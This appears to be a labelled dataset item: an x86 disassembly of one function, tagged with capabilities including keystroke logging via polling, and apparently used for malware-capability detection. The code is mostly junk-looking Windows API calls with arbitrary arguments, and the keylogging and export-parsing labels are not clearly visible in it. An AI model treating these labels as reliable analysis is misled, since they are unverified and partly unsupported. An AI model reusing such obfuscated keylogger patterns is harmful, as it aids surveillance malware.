Function at 0x10001485
Capabilities:
Get memory capacity
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x190
lea eax, [esp + 0xb8]
lea ecx, [esp + 0x78]
mov edx, esp
lea esi, [esp + 0xb8]
mov dword [edx], esi
mov edx, dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov dword [esp + 0x74], ecx
mov dword [esp + 0x70], eax
call edx
sub esp, 4
mov ecx, esp
mov dword [ecx + 8], 0x860
mov dword [ecx + 4], 0xdb3
mov dword [ecx], 0x814a3a
mov ecx, dword [sym.imp.KERNEL32.dll_PrepareTape]
mov dword [esp + 0x6c], eax
call ecx
sub esp, 0xc
mov ecx, esp
mov dword [ecx + 4], 0x998ba8
mov dword [ecx], 0xdaf
mov ecx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [esp + 0x68], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x6e4
mov dword [ecx], 0xe1ed75
mov ecx, dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [esp + 0x64], eax
call ecx
sub esp, 8
mov ecx, esp
lea edx, [esp + 0x88]
mov dword [ecx + 4], edx
mov dword [ecx + 0xc], 0xb30
mov dword [ecx + 8], 0xc25
mov dword [ecx], 0x84068a
mov ecx, dword [sym.imp.USER32.dll_DrawEdge]
mov dword [esp + 0x60], eax
call ecx
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 4], 0xc9f
mov dword [ecx], 0x21ad74
mov ecx, dword [sym.imp.GDI32.dll_SetICMMode]
mov dword [esp + 0x5c], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_IsCharAlphaNumericW]
mov dword [esp + 0x58], eax
call ecx
sub esp, 4
xor ecx, ecx
lea edx, [esp + 0xa0]
lea esi, [esp + 0x168]
mov dword [esp + 0x54], eax
mov dword [esp + 0x50], esi
mov dword [esp + 0x4c], edx
mov dword [esp + 0x48], ecx
jmp 0x100015c4
mov eax, dword [esp + 0x44]
mov ecx, 0xd
mov dword [esp + 0x40], eax
xor edx, edx
div ecx
cmp edx, 2
je 0x10001687
jmp 0x100016e5
mov eax, dword [esp + 0x48]
xor ecx, ecx
mov edx, 0x20
mov esi, dword [esp + 0x50]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
mov dword [esp + 0x3c], eax
mov dword [esp + 0x38], ecx
mov dword [esp + 0x34], edx
call sub.msvcrt.dll_memset
mov eax, esp
lea ecx, [esp + 0x168]
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
call eax
sub esp, 4
mov eax, 0x58a390
mov dword [esp + 0x9c], eax
mov eax, esp
lea ecx, [esp + 0x9c]
mov dword [eax + 8], ecx
mov dword [eax + 4], 0x4eb
mov dword [eax], 0x72a1d5
mov eax, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call eax
sub esp, 0xc
mov dword [esp + 0x84], 0x5e6
mov dword [esp + 0x98], 0x4d3
mov ecx, esp
lea edx, [esp + 0x98]
mov dword [ecx + 8], edx
lea edx, [esp + 0x84]
mov dword [ecx + 4], edx
mov dword [ecx], edx
mov ecx, dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
mov dword [esp + 0x30], eax
call ecx
sub esp, 0xc
xor ecx, ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x44], ecx
jmp 0x100015a2
mov eax, dword [esp + 0x4c]
mov dword [eax + 0x10], 0
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 0x7c], 0
mov dword [esp + 0x78], 0
mov ecx, esp
mov edx, dword [esp + 0x74]
mov dword [ecx + 8], edx
mov dword [ecx], eax
mov dword [ecx + 0xc], 0x334
mov dword [ecx + 4], 0x334
mov ecx, dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
call ecx
sub esp, 0x10
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x40]
add eax, 1
cmp eax, 0x208
mov dword [esp + 0x44], eax
jne 0x100015a2
mov eax, esp
mov dword [eax + 8], 0xc72
mov dword [eax + 4], 0xa02
mov dword [eax], 0xce1
mov eax, dword [sym.imp.KERNEL32.dll_MulDiv]
call eax
sub esp, 0xc
mov ecx, dword [esp + 0x3c]
sub ecx, 6
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
je 0x10001763
jmp 0x10001730
mov eax, dword [esp + 0x3c]
sub eax, 0x35
mov dword [esp + 0x1c], eax
jne 0x1000178e
jmp 0x1000173f
mov eax, esp
mov dword [eax + 8], 0x278
mov dword [eax + 4], 0xfd
mov dword [eax], 0x12aa8a
mov eax, dword [sym.imp.KERNEL32.dll_EraseTape]
call eax
sub esp, 0xc
mov dword [esp + 0x18], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
call eax
mov ecx, esp
mov dword [ecx + 4], 0x3755c6
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_VkKeyScanExA]
mov word [esp + 0x16], ax
call ecx
sub esp, 8
mov word [esp + 0x14], ax
mov eax, dword [esp + 0x3c]
add eax, 1
cmp eax, 0xf5
mov dword [esp + 0x48], eax
jne 0x100015c4
lea esp, [ebp - 4]
pop esi
pop ebp
ret